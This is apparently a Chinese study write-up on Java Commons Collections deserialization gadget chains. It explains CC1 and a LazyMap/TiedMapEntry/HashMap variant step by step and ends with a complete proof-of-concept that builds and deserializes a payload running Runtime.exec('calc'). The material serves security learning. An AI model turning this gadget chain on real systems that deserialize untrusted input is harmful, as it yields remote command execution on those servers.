之前复现了java cc1链子
顺便在这进行一个总结
比喻 :InvokerTransformer
类像一把万能钥匙,能通过反射调用任何方法。比如用钥匙打开“Runtime类”的锁,执行exec("calc")
弹计算器
比喻 :为了绕过限制,攻击者需要多个“工具人”协作。ChainedTransformer
就像一个流水线,把多个操作串联起来:
工具人A:先拿到Runtime
对象(ConstantTransformer
工具人B:用万能钥匙调用exec
方法(InvokerTransformer
)
原理 :把这两个工具人按顺序放进ChainedTransformer
,执行时会先获取Runtime
对象,再调用exec
方法。
比喻 :TransformedMap
是一个被魔改的地图,当地图中的值被修改时(比如调用setValue
),会自动触发流水线上的工具人
点火开关:反序列化入口(AnnotationInvocationHandler
) 比喻 :AnnotationInvocationHandler
是Java自带的“快递拆包员”,反序列化时会自动执行readObject
方法(拆包裹逻辑)。攻击者把魔改地图塞进它的memberValues
属性
触发流程 :
反序列化时,readObject
方法遍历地图中的键值对
遍历到某个键值对时,调用setValue
修改值,触发魔改地图的机关
高版本jdk的修改 在jdk8u_71之后,AnnotationInvocationHandler类被重写了,修改了readObject方法,里面没有了setValue方法。
通过
ChainedTransformer的transform方法的用法,定位到LazyMap的get方法
protected final Transformer factory;public static Map decorate (Map map, Factory factory) { return new LazyMap (map, factory); } public Object get (Object key) { if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
逻辑
检查键是否存在,不存在时创建值并存储,存在时直接返回。
接着寻找入口点
TiedMapEntry public Object getValue () { return map.get(key); } public int hashCode () { Object value = getValue(); return (getKey() == null ? 0 : getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); }
TiedMapEntry的hashCode方法调用了getValue,getValue调用了get方法,所以可以用TiedMapEntry的hashCode方法调用LazyMap的get方法
接下来寻找谁调用了hashCode方法
HashMap 通过之前对URLDNS链 的研究可知,HashMap的readObject方法有如下这行语句
putVal(hash(key), key, value, false, false);
而HashMap的hash方法调用了hashCode方法
static final int hash (Object key) { int h; return (key == null ) ? 0 : (h = key.hashCode()) ^ (h >>> 16 ); }
而key的值是从readObject获取的
K key = (K) s.readObject();
序列化时可以用HashMap的put方法传key和value
hashMap.put(tiedMapEntry, "1" );
但是hashmap的put会提前走完流程
public V put (K key, V value) { return putVal(hash(key), key, value, false , true ); }
由于HashMap的put方法会导致提前调用hash方法,从而在序列化前就命令执行,所以这里修改一下代码。
这里选择在新建LazyMap对象的时候,随便传入一个Transformer对象,等put完之后再通过反射修改回ChainedTransformer对象。
Map lazymap = LazyMap.decorate(new HashMap (), new ConstantTransformer ("1" ));TiedMapEntry tiedMapEntry = new TiedMapEntry (lazymap, "2" );HashMap<Object, Object> hashMap = new HashMap <>(); hashMap.put(tiedMapEntry, "3" );
反射修改lazymap的factory的值
Class<LazyMap> lazyMapClass = LazyMap.class; Field factoryField = lazyMapClass.getDeclaredField("factory" ); factoryField.setAccessible(true ); factoryField.set(lazymap, ct);
利用链
HashMap.readObject() HashMap.hash() TiedMapEntry.hashCode() TiedMapEntry.getValue() LazyMap.get() ChainedTransformer.transform() InvokerTransformer.transform() Method.invoke() Runtime.exec()
POC package org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class cc1 { public static void main (String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException { Transformer[] transformers = { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer ct = new ChainedTransformer (transformers); Map lazymap = LazyMap.decorate(new HashMap (), new ConstantTransformer ("1" )); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazymap, "2" ); HashMap<Object, Object> hashMap = new HashMap <>(); hashMap.put(tiedMapEntry, "3" ); lazymap.remove("2" ); Class<LazyMap> lazyMapClass = LazyMap.class; Field factoryField = lazyMapClass.getDeclaredField("factory" ); factoryField.setAccessible(true ); factoryField.set(lazymap, ct); serial(hashMap); unserial(); } public static void serial (Object obj) throws IOException { ObjectOutputStream out = new ObjectOutputStream (new FileOutputStream ("cc6.bin" )); out.writeObject(obj); } public static void unserial () throws IOException, ClassNotFoundException { ObjectInputStream in = new ObjectInputStream (new FileInputStream ("cc6.bin" )); in.readObject(); } }